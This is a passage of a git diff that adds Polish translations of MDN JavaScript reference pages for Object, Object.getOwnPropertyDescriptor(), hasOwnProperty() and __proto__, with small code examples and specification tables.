'#sec-object.freeze', 'Object.freeze')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-object.freeze', 'Object.freeze')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div> +<p>{{Compat("javascript.builtins.Object.freeze")}}</p> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Object.isFrozen()")}}</li> + <li>{{jsxref("Object.preventExtensions()")}}</li> + <li>{{jsxref("Object.isExtensible()")}}</li> + <li>{{jsxref("Object.seal()")}}</li> + <li>{{jsxref("Object.isSealed()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/object/getownpropertydescriptor/index.html b/files/pl/web/javascript/referencje/obiekty/object/getownpropertydescriptor/index.html new file mode 100644 index 0000000000..3f9498b26e --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/object/getownpropertydescriptor/index.html @@ -0,0 +1,121 @@ +--- +title: Object.getOwnPropertyDescriptor() +slug: Web/JavaScript/Referencje/Obiekty/Object/getOwnPropertyDescriptor +translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor +--- +<div>{{JSRef}}</div> + +<p>Metoda <code><strong>Object.getOwnPropertyDescriptor()</strong></code> zwraca deskryptor definiujący stan właściwości (właściwość musi być zdefiniowana bezpośrednio na obiekcie, ponieważ metoda nie sprawdza właściwości w łańcuchu prototypów obiektu) dla podanego obiektu.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><code>Object.getOwnPropertyDescriptor(<var>obj</var>, <var>prop</var>)</code></pre> + +<h3 id="Argumenty">Argumenty</h3> + +<dl> + <dt><code>obj</code></dt> + <dd>Obiekt, w którym będzie poszukiwana właściwość.</dd> + <dt><code>prop</code></dt> + <dd>Nazwa właściwości, dla której będzie pobrany deskryptor.</dd> +</dl> + +<h3 id="Wartość_zwracana">Wartość zwracana</h3> + +<p>Jeżeli obiekt posiada podaną właściwość, wówczas zostanie zwrócony jej deskryptor, w przeciwnym razie zostanie zwrócony {{jsxref("undefined")}}.</p> + +<h2 id="Opis">Opis</h2> + +<p>Metoda ta pozwala na dokładne zbadanie stanu właściwości. W rzeczywistości właściwość obiektu w JavaScript to nie tylko jej nazwa oraz wartość ale również odpowiadający jej deskryptor. Więcej informacji o atrybutach deskryptora można znaleźć w {{jsxref("Object.defineProperty()")}}.</p> + +<p>Deskryptor właściwości jest obiektem zawierającym poniższe atrybuty:</p> + +<dl> + <dt><code>value</code></dt> + <dd>Wartość związana z odpowiadającą właściwością (tylko dla deskryptorów danych).</dd> + <dt><code><strong>writable</strong></code></dt> + <dd>Jeżeli <code>true</code> odpowiadająca wartość właściwości może być zmieniona (tylko dla deskryptorów danych).</dd> + <dt><code>get</code></dt> + <dd>Funkcja, która zwraca getter dla odpowiadającej właściwości lub {{jsxref("undefined")}} jeżeli getter nie występuje (tylko dla deskryptorów dostępowych).</dd> + <dt><code>set</code></dt> + <dd>Funkcja, która zwraca setter dla odpowiadającej właściwości lub {{jsxref("undefined")}} jeżeli setter nie występuje (tylko dla deskryptorów dostępowych).</dd> + <dt><code>configurable</code></dt> + <dd>Jeżeli <code>true</code> odpowiadająca wartość właściwości może być zmieniona (również ich rodzaj - z właściwości danych na właściwość funkcji dostępowych, i odwrotnie) oraz usunięta z odopowiadającego obiektu.</dd> + <dt><code>enumerable</code></dt> + <dd>Jeżeli <code>true</code> odpowiadająca wartość właściwości będzie dostępna podczas iteracji po właściwosciach odpowiadającego obiektu.</dd> +</dl> + +<h2 id="Przykłady">Przykłady</h2> + +<pre class="brush: js">var o, d; + +o = { get foo() { return 17; } }; +d = Object.getOwnPropertyDescriptor(o, 'foo'); +// d is { configurable: true, enumerable: true, get: /*the getter function*/, set: undefined } + +o = { bar: 42 }; +d = Object.getOwnPropertyDescriptor(o, 'bar'); +// d is { configurable: true, enumerable: true, value: 42, writable: true } + +o = {}; +Object.defineProperty(o, 'baz', { value: 8675309, writable: false, enumerable: false }); +d = Object.getOwnPropertyDescriptor(o, 'baz'); +// d is { value: 8675309, writable: false, enumerable: false, configurable: false } +</pre> + +<h2 id="Uwagi">Uwagi</h2> + +<p>W ES5, jeżeli pierwszy argument dla podanej metody nie jest obiektem (jest typem prostym), wówczas zostanie wyrzucony wyjątek {{jsxref("TypeError")}}. Natomiast w ES2015, na typie prymitywnym najpierw zostanie wykonana koercja do obiektu.</p> + +<pre class="brush: js">Object.getOwnPropertyDescriptor('foo', 0); +// TypeError: "foo" is not an object // ES5 code + +Object.getOwnPropertyDescriptor('foo', 0); +// {configurable:false, enumerable:true, value:"f", writable:false} // ES2015 code +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.2.3.3', 'Object.getOwnPropertyDescriptor')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td>Initial definition. Implemented in JavaScript 1.8.5.</td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-object.getownpropertydescriptor', 'Object.getOwnPropertyDescriptor')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-object.getownpropertydescriptor', 'Object.getOwnPropertyDescriptor')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_przeglądarkowa">Kompatybilność przeglądarkowa</h2> + +<div> +<div> + + +<p>{{Compat("javascript.builtins.Object.getOwnPropertyDescriptor")}}</p> +</div> +</div> + +<p> </p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{jsxref("Object.defineProperty()")}}</li> + <li>{{jsxref("Reflect.getOwnPropertyDescriptor()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/object/hasownproperty/index.html b/files/pl/web/javascript/referencje/obiekty/object/hasownproperty/index.html new file mode 100644 index 0000000000..42bb16783b --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/object/hasownproperty/index.html @@ -0,0 +1,150 @@ +--- +title: Object.prototype.hasOwnProperty() +slug: Web/JavaScript/Referencje/Obiekty/Object/hasOwnProperty +translation_of: Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty +--- +<div>{{JSRef("Global_Objects", "Object")}}</div> + +<h2 id="Summary" name="Summary">Wstęp</h2> + +<p>Metoda <code><strong>hasOwnProperty()</strong></code> zwraca wartość <code>true</code> jeśli obiekt, na którym została wywołana posiada konkretną własność.</p> + +<h2 id="Syntax" name="Syntax">Składnia</h2> + +<pre class="syntaxbox notranslate"><code><var>obj</var>.hasOwnProperty(<var>prop</var>)</code></pre> + +<h3 id="Parameters" name="Parameters">Parametry</h3> + +<dl> + <dt><code>prop</code></dt> + <dd>Nazwa ({{jsxref("String")}}) własności lub <a href="https://developer.mozilla.org/en-US/docs/Glossary/Symbol">Symbol</a>, do sprawdzenia.</dd> +</dl> + +<h3 id="Wartość_zwracana">Wartość zwracana</h3> + +<p><span class="tlid-translation translation"><span class="alt-edited">A {{jsxref ("Boolean")}} wskazujący, czy obiekt zawiera w sobie określoną właściwość.</span></span></p> + +<h2 id="Description" name="Description">Opis</h2> + +<p>Każdy obiekt pochodzący od {{jsxref("Global_Objects/Object", "Object")}} dziedziczy metodę <code>hasOwnProperty</code>. Może być ona użyta do stwierdzenia czy obiekt posiada określoną własność, jako bezpośrednią (direct) własność. W przeciwieństwie do operatora {{jsxref("Operators/in", "in")}}, metoda <code style="font-style: normal;">hasOwnProperty</code> nie sprawdza <u>w głąb łańcucha</u> własności obiektu.</p> + +<h2 id="Examples" name="Examples">Notatka</h2> + +<p><span class="tlid-translation translation"><span title=""><code>hasOwnProperty</code> zwraca <code>true</code>, nawet jeśli wartość właściwości to <code>null</code> lub <code>undefined</code>.</span></span></p> + +<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">o <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Object</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +o<span class="punctuation token">.</span>propOne <span class="operator token">=</span> <span class="keyword token">null</span><span class="punctuation token">;</span> +o<span class="punctuation token">.</span><span class="function token">hasOwnProperty</span><span class="punctuation token">(</span><span class="string token">'propOne'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// zwraca true</span> +o<span class="punctuation token">.</span>propTwo <span class="operator token">=</span> undefined<span class="punctuation token">;</span> +o<span class="punctuation token">.</span><span class="function token">hasOwnProperty</span><span class="punctuation token">(</span><span class="string token">'propTwo'</span><span class="punctuation token">)</span><span class="punctuation token">; // zwraca true</span></code> +</pre> + +<h2 id="Examples" name="Examples">Przykłady</h2> + +<h3 id="Example_Using_hasOwnProperty_to_test_for_a_property.27s_existence" name="Example:_Using_hasOwnProperty_to_test_for_a_property.27s_existence">Użycie <code>hasOwnProperty</code> do testowania istnienia własności</h3> + +<p>Poniższy przykład określa czy obiekt <code>o</code> posiada własność o nazwie <code>prop</code>:</p> + +<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">o <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Object</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +o<span class="punctuation token">.</span><span class="function token">hasOwnProperty</span><span class="punctuation token">(</span><span class="string token">'prop'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// zwraca false</span> +o<span class="punctuation token">.</span>prop <span class="operator token">=</span> <span class="string token">'istnieje'</span><span class="punctuation token">;</span> +o<span class="punctuation token">.</span><span class="function token">hasOwnProperty</span><span class="punctuation token">(</span><span class="string token">'prop'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// zwraca true</span></code></pre> + +<h3 id="Example_Direct_versus_inherited_properties" name="Example:_Direct_versus_inherited_properties">Własności bezpośrednie kontra odziedziczone</h3> + +<p>Poniższy przykład rozróżnia bezpośrednie właściwości z właściwościami dziedziczonymi w łańcuchu prototypów:</p> + +<pre class="brush: js notranslate">o = new Object(); +o.prop = 'istnieje'; +o.hasOwnProperty('prop'); // zwraca true +o.hasOwnProperty('toString'); // zwraca false +o.hasOwnProperty('hasOwnProperty'); // zwraca false +</pre> + +<h3 id="Example_Itarate_over_properties_not_considering_inherited_properties" name="Example:_Itarate_over_properties_not_considering_inherited_properties">Iterowanie przez właściwości obiektu</h3> + +<p><span class="tlid-translation translation"><span title="">Poniższy przykład ilustruje sposób iteracji po właściwościach obiektu bez wykonywania iteracji na dziedziczonych właściwościach.</span></span></p> + +<pre class="notranslate">const obj = { + prop: 'Wartość', + secondProp: 'Wartość 2' +} + +for (const name in obj) { + if (obj.hasOwnProperty(name)) { + console.log('Znaleziono własność ' + name + ' o wartości ' + obj[name]) + } else { + console.log('Brak własności: ', name) + } +}</pre> + +<div class="blockIndicator warning"> +<p><span class="tlid-translation translation"><span title="">Zwróć uwagę, że pętla </span></span>{{jsxref("Statements/for...in", "for...in")}}<span class="tlid-translation translation"><span title=""> tylko iteruje właściwości przeliczalne</span></span>, a <a href="http://zduck.com/2013/non-enumerable-properties-in-javascript/">nieprzeliczanych</a> nie zauważa.</p> +</div> + +<h3 id="Używanie_hasOwnProperty_jako_nazwy_właściwości"><span class="tlid-translation translation"><span title="">Używanie <code>hasOwnProperty</code> jako nazwy właściwości</span></span></h3> + +<p><span class="tlid-translation translation"><span title="">JavaScript nie chroni nazwy właściwości <code>hasOwnProperty</code>;</span> <span title="">tak więc, jeśli istnieje możliwość, że obiekt może mieć właściwość o tej nazwie, konieczne jest użycie zewnętrznej właściwości <code>hasOwnProperty</code>, aby uzyskać poprawne wyniki:</span></span></p> + +<pre class="brush: js notranslate">const obj = { + hasOwnProperty: function() { + return false; + }, + prop: 'Kolejna właściwość' +}; + +obj.hasOwnProperty('prop'); // zawsze zwróci false + +// <span class="tlid-translation translation"><span class="alt-edited">Użyj właściwości hasOwnProperty innego obiektu i wywołaj ją, ustawiając "this" na obj</span></span> +({}).hasOwnProperty.call(obj, 'prop'); // zwraca true + +// <span class="tlid-translation translation"><span title="">W tym celu można również użyć własności hasOwnProperty z prototypu Object</span></span> +Object.prototype.hasOwnProperty.call(obj, 'prop'); // zwraca true +</pre> + +<p><span class="tlid-translation translation"><span title="">Zwróć uwagę, że w ostatnim przypadku nie ma żadnych nowo utworzonych obiektów.</span></span></p> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>ECMAScript 3rd Edition.</td> + <td>Standard</td> + <td>Initial definition. Implemented in JavaScript 1.5.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.2.4.5', 'Object.prototype.hasOwnProperty')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}</td> + <td>{{Spec2('ES6')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + +<div class="hidden"> +<p><span class="tlid-translation translation"><span title="">Tabela zgodności na tej stronie jest generowana na podstawie danych strukturalnych.</span> <span title="">Jeśli chcesz przyczynić się do danych, sprawdź <a href="/pl/docs/">https://github.com/mdn/browser-compat-data</a> i wyślij nam pull request'a.</span></span></p> +</div> + +<div>{{Compat("javascript.builtins.Object.hasOwnProperty")}}</div> + +<h2 id="See_also" name="See_also">Zobacz także</h2> + +<ul> + <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li> + <li>{{jsxref("Object.getOwnPropertyNames()")}}</li> + <li>{{jsxref("Statements/for...in", "for...in")}}</li> + <li>{{jsxref("Operators/in", "in")}}</li> + <li><a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_Revisited">JavaScript Guide: Inheritance revisited</a></li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/object/index.html b/files/pl/web/javascript/referencje/obiekty/object/index.html new file mode 100644 index 0000000000..88ed5060cb --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/object/index.html @@ -0,0 +1,212 @@ +--- +title: Object +slug: Web/JavaScript/Referencje/Obiekty/Object +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/Object +--- +<div>{{JSRef}}</div> + +<p>Konstruktor <strong>Object</strong> tworzy wrapper obiektu.</p> + +<h2 id="Tworzony_przez" name="Tworzony_przez">Składnia</h2> + +<pre class="syntaxbox"><code>// Notacja literałowa +{ [ <var>paraWartoscNazwa1</var>[, <var>paraWartoscNazwa2</var>[, ...<var>paraWartoscNazwaN</var>] ] ] } + +// Wywoływany jako konstruktor +new Object([<var>wartosc</var>])</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code><var>paraWartoscNazwa1</var>, <var>paraWartoscNazwa2</var>, ... <var>paraWartoscNazwaN</var></code></dt> + <dd>Pary nazw (string) oraz wartości (jakakolwiek wartość) przyczym nazwa oddzielona jest od wartości dwukropkiem.</dd> + <dt><code><var>wartosc</var></code></dt> + <dd>Jakakolwiek wartość.</dd> +</dl> + +<h2 id="Opis">Opis</h2> + +<p>Kostruktor obiektu tworzy wrapper dla danej wartości. Jeżeli podana wartość to {{jsxref("null")}} albo {{jsxref("undefined")}}, konstruktor stworzy i zwróci pusty obiekt. W przeciwnym razie stworzy i zwróci obiekt o takim samym typie jak podana wartość. Jeżeli podana wartość jest obiektem to konstruktor zwróci ten właśnie obiekt.</p> + +<p>Zobacz również <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Referencje/Operatory/Object_initializer">Inicjator obiektu / notacja literałowa</a>.</p> + +<h2 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Właściwości</h2> + +<dl> + <dt><code>Object.length</code></dt> + <dd>Przyjmuje wartość 1.</dd> + <dt>{{jsxref("Object.prototype")}}</dt> + <dd>Pozwala na dodawanie właściwości i metod do wszystkich obiektów typu Object.</dd> +</dl> + +<h2 id="Metody" name="Metody">Metody</h2> + +<dl> + <dt>{{jsxref("Object.assign()")}}</dt> + <dd>Kopiuje wszystkie <strong>własne </strong>właściwości z jednego lub więcej obiektów żródłowych do obiektu docelowego.</dd> + <dt>{{jsxref("Object.create()")}}</dt> + <dd>Tworzy nowy obiekt z podanym prototypem oraz właściwościami</dd> + <dt>{{jsxref("Object.defineProperty()")}}</dt> + <dd>Dodaje do obiektu wymienioną właściwość opisywaną przez podany deskryptor.</dd> + <dt>{{jsxref("Object.defineProperties()")}}</dt> + <dd>Dodaje do obiektu wymienione właściwości opisywane przez podane deskryptory.</dd> + <dt>{{jsxref("Object.freeze()")}}</dt> + <dd>Zamraża obiekt. Uniemożliwia usuwanie oraz modyfikowanie jego właściwości.</dd> + <dt>{{jsxref("Object.getOwnPropertyDescriptor()")}}</dt> + <dd>Zwraca z obiektu deskryptor dla wymienionej właściwości. </dd> + <dt>{{jsxref("Object.getOwnPropertyNames()")}}</dt> + <dd>Zwraca tablicę zawierającą nazwy wszystkich <strong>własnych</strong> właściwości obiektu. (Zarówno przeliczalnych jak i nieprzeliczalnych)</dd> + <dt>{{jsxref("Object.getOwnPropertySymbols()")}}</dt> + <dd>Zwraca tablicę zawierającą wszystkie <strong>własne</strong> właściwości-symbole danego obiektu</dd> + <dt>{{jsxref("Object.getPrototypeOf()")}}</dt> + <dd>Zwraca prototyp określonego obiektu.</dd> + <dt>{{jsxref("Object.is()")}}</dt> + <dd>Sprawdza czy dwie podane wartości są takie same.</dd> + <dt>{{jsxref("Object.isExtensible()")}}</dt> + <dd>Sprawdza czy obiekt można rozszerzyć.</dd> + <dt>{{jsxref("Object.isFrozen()")}}</dt> + <dd>Sprawdza czy obiekt jest zamrożony.</dd> + <dt>{{jsxref("Object.isSealed()")}}</dt> + <dd>Sprawdza czy obiekt jest zapieczętowany.</dd> + <dt>{{jsxref("Object.keys()")}}</dt> + <dd>Zwraca tablicę zawierającą nazwy wszystkich <strong>własnych</strong> właściwości obiektu. (Tylko przeliczalnych)</dd> + <dt>{{jsxref("Object.preventExtensions()")}}</dt> + <dd>Zabopiega rozszerzaniu obiektu (tj. dodawaniu właściwości).</dd> + <dt>{{jsxref("Object.seal()")}}</dt> + <dd>Zapieczętowuje obiekt, zapobiegając dodawaniu oraz usuwaniu jego właściwości.</dd> + <dt>{{jsxref("Object.setPrototypeOf()")}}</dt> + <dd>Ustawia prototyp obiektu.</dd> + <dt>{{jsxref("Object.values()")}} {{experimental_inline}}</dt> + <dd>Zwraca tablicę zawierającą wszystkie <strong>własne</strong>, przeliczalne wartości obiektu.</dd> +</dl> + +<h2 id="Instancje_i_prototyp_Object">Instancje i prototyp <code>Object</code></h2> + +<p>W Javascript, wsyzstkie obiekty pochodzą od obiektu <code>Object</code>, tymsamym dziedziczą metody i właściwości z {{jsxref("Object.prototype")}}, jednak mogą być one nadpisane. Na przykład, prototypy innych konstruktorów nadpisują właściwość <code>constructor</code> oraz metody <code>toString</code><code>()</code>. Wszelkie zmiany w prototypie <code>Object</code> są przekazywane do wszystkich obiektów, chyba że właściwości lub metody do których zmiany się odnośiły zostały gdzieś po drodze nadpisane.</p> + +<h3 id="Właściwości">Właściwości</h3> + +<div>{{page('/pl/docs/Web/JavaScript/Referencje/Obiekty/Object/prototype', 'W.C5.82asno.C5.9Bci') }}</div> + +<h3 id="Metody_2">Metody</h3> + +<div>{{page('/pl/docs/Web/JavaScript/Referencje/Obiekty/Object/prototype', 'Metody') }}</div> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Używanie_typów_null_i_undefined">Używanie <font face="Consolas, Liberation Mono, Courier, monospace">typów</font> <code>null</code> i <code>undefined</code></h3> + +<p>W poniższych przykładach zmienna o przechowuje pusty obiekt <code>Object</code>:</p> + +<pre class="brush: js">var o = new Object(); +</pre> + +<pre class="brush: js">var o = new Object(undefined); +</pre> + +<pre class="brush: js">var o = new Object(null); +</pre> + +<h3 id="Tworzenie_obiektu_Boolean">Tworzenie obiektu <code>Boolean</code></h3> + +<p>W poniższych przykładach zmienna o przechowuje obiekty {{jsxref("Boolean")}}:</p> + +<pre class="brush: js">// równoznaczne z: o = new Boolean(true); +var o = new Object(true); +</pre> + +<pre class="brush: js">// równoznaczne z: o = new Boolean(false); +var o = new Object(Boolean()); +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Początkowa definicja. Zaimplementowana w JavaScript 1.0.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.2', 'Object')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-object-objects', 'Object')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>Dodano Object.assign, Object.getOwnPropertySymbols, Object.setPrototypeOf, Object.is</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-object-objects', 'Object')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td>Dodano Object.entries, Object.values oraz Object.getOwnPropertyDescriptors.</td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarką">Kompatybilność z przeglądarką</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li><a href="/pl/docs/Web/JavaScript/Referencje/Operatory/Object_initializer">Inicjalizator obiektu</a></li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/object/proto/index.html b/files/pl/web/javascript/referencje/obiekty/object/proto/index.html new file mode 100644 index 0000000000..6d4dd4653e --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/object/proto/index.html @@ -0,0 +1,193 @@ +--- +title: Object.prototype.__proto__ +slug: Web/JavaScript/Referencje/Obiekty/Object/proto +translation_of: Web/JavaScript/Reference/Global_Objects/Object/proto +--- +<div class="warning"> +<p><strong>Ostrzeżenie:</strong> Zmiana <code>[[Prototype]]</code> obiektu, ze względu na sposób w jaki współczesny JavaScript optymalizuje dostęp do właściwości, jest bardzo powolną operacją (W każdej przeglądarce!). Efekty modyfikacji łańcucha dziedziczenia są rozległe, nie chodzi tu tylko o wydłużenie czasu potrzebnego na wykonanie operacji <code>obj.__proto__ = ...</code>, skutki wpływają na <strong>każdy</strong> fragment kodu który odwołuje się do <strong>jakiejkolwiek</strong> właściwości obiektu, którego <code>[[Prototype]]</code> został zmieniony. Dlatego jeżeli zależy ci na wydajności powinieneś unikać tej operacji. Zamiast tego, stwórz nowy obiekt z porządanym <code>[[Prototype]]</code> za pomocą {{jsxref("Object.create()")}}.</p> +</div> + +<div class="warning"> +<p><strong>Ostrzeżenie:</strong> Mimo że w dzisiejszych czasach <code>Object.prototype.__proto__</code> jest wspierany w niemal każdej przeglądarce, jego istnienie oraz zachowanie zostały ujednolicone w specyfikacji ECMAScript 2015 jedynie jako <em>legacy feature</em> aby zapewnić kompatybilność z przeglądarkami. Dla lepszego wsparcia rekomenduje się używanie {{jsxref("Object.getPrototypeOf()")}}.</p> +</div> + +<div>{{JSRef}}</div> + +<p>Właściwość <code>__proto__</code> obiektu {{jsxref("Object.prototype")}} jest operatorem dostępu (metoda getter i setter) która operuje na wewnętrznym <code>[[Prototype]]</code> (na obiekcie lub na {{jsxref("Global_Objects/null", "null")}}) obiektu do którego się odnosi.</p> + +<p>Użycie <code>__proto__</code> jest kontrowersyjne i podchodzi się do niego z niechęcią. Oryginalnie nigdy nie pojawiło się w specyfikacji EcmaScript, ale nowoczesne przeglądarki postanowiły mimo wszystko to zaimplementować. Dopiero niedawno właściwość <code>__proto__</code> znalazła swoje miejsce w specyfikacji ECMAScript 2015 aby zapewnić kompatybilność z tymi przeglądarkami. Jest ona jednak przestarzała ze względu na {{jsxref("Object.getPrototypeOf")}}/{{jsxref("Reflect.getPrototypeOf")}} oraz {{jsxref("Object.setPrototypeOf")}}/{{jsxref("Reflect.setPrototypeOf")}} (choć modyfikowanie <code>[[Prototype]]</code> wciąż jest operacją powolną, która powinna być unikana przez wzgląd na wydajność).</p> + +<p><code>Właściwość __proto__</code> może być również używana w notacji literałowej aby ustawić <code>[[Prototype]]</code> tworzonego obiektu, jako alterantywa do {{jsxref("Object.create()")}}. Zobacz: <a href="/pl/docs/Web/JavaScript/Reference/Operators/Object_initializer">inicjalizator obiektu / notacja literałowa</a>.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="brush: js">var Kolo = function () {}; +var ksztalt = {}; +var kolo = new Kolo(); + +// Ustawianie prototypu obiektu +// ZDEPRECJONOWANE. Używamy tego tylko dla przykładu. NIE RÓB TEGO w prawdziwym kodzie. +ksztalt.__proto__ = kolo; + +// Sprawdzenie prototypu obiektu +console.log(ksztalt.__proto__ === kolo); // true +</pre> + +<pre class="brush: js">var ksztalt = function () {}; +var p = +{ + a: function () + { + console.log('aaa'); + } +}; +ksztalt.prototype.__proto__ = p; + +var kolo = new ksztalt(); +kolo.a(); // aaa + +console.log(ksztalt.prototype === kolo.__proto__); // true + +// albo + +var ksztalt = function () {}; +var p = +{ + a: function () + { + console.log('aaa'); + } +}; + +var kolo = new ksztalt(); +kolo.__proto__ = p; +circle.a(); // aaa + +console.log(ksztalt.prototype === kolo.__proto__); // false + +// albo + +function ksztalt() {}; +ksztalt.prototype.a = function () +{ + console.log('aaa'); +} +var kolo = new ksztalt(); +kolo.a(); // aaa + +console.log(kolo.__proto__ === ksztalt.prototype); // true + +// albo + +var ksztalt = function () {}; +ksztalt.prototype.a = function () +{ + console.log('aaa'); +} + +var kolo = +{ + __proto__: ksztalt.prototype +}; +kolo.a(); // aaa + +console.log(kolo.__proto__ === ksztalt.prototype); // true +</pre> + +<p>Uwaga: <code>__proto__</code> zapisujemy jako dwie <em>podłogi</em>, następnie pięć liter "proto", następnie dwie kolejne <em>podłogi</em>.</p> + +<h2 id="Opis">Opis</h2> + +<p>Metoda getter właściwości <code>__proto__</code> daje nam dostęp do wewnętrznej wartości <code>[[Prototype]]</code> obiektu. Dla obiektów stworzonych przy użyciu literału jest to {{jsxref("Object.prototype")}}. Dla tablic stworzonych przy użyciu literału jest to {{jsxref("Array.prototype")}}. Dla funkcji ta wartość to {{jsxref("Function.prototype")}}. Dla obiektów stworzonych przy użyciu <code>new Funkcja</code>, gdzie <code>Funkcja</code> to jeden z wbudowanych konstruktorów dostarczanych przez JavaScript ({{jsxref("Array")}}, {{jsxref("Boolean")}}, {{jsxref("Date")}}, {{jsxref("Number")}}, {{jsxref("Object")}}, {{jsxref("String")}}, i tak dalej — wliczając nowe konstrukotry, które mogą zostać dodane w przyszłości), ta wartość to zawsze <code>Funkcja.prototype</code>. Dla obiektów stworzonych przy użyciu <code>new Funkcja</code>, gdzie <code>Funkcja</code> to funkcja zdefiniowana w kodzie, wartość ta przyjmuje taką samą wartość jak <code>Funkcja.prototype</code>.</p> + +<p>Metoda setter właściwości <code>__proto__ </code>umożliwia modyfikowanie <code>[[Prototype]]</code> obiektu. W tym celu obiekt musi być roszerzalny według funkcji {{jsxref("Object.isExtensible()")}}, jeżeli nie jest {{jsxref("Global_Objects/TypeError", "TypeError")}} zostanie wyrzucony. Dostarczana wartość musi być obiektem albo typem {{jsxref("Global_Objects/null", "null")}}. Podanie jakiejkolwiek innej wartości nie zrobi nic.</p> + +<p>Aby zrozumieć w jaki sposób prototypy używane są do dziedziczenia, zobacz artykuł o <a href="/pl/docs/Web/JavaScript/dziedziczenie_lancuch_prototypow">dziedziczeniu oraz łańcuchu prototypów</a>.</p> + +<p>Właściwość <code>__proto__</code> jest prostym operatorem pamięci na {{jsxref("Object.prototype")}} składającym się z metody getter i setter. Dostęp do właściwości <code>__proto__</code> który ostatecznie konsultuje się z {{jsxref("Object.prototype")}} znajdzie tę właściwość, ale dostęp który nie konsultuje {{jsxref("Object.prototype")}} nie znajdzie jej. Jeżeli jakaś inna właściwość <code>__proto__</code> zostanie znaleziona, zanim {{jsxref("Object.prototype")}} zostanie skonsultowany, to właściwość ta przesłoni tą znalezioną w 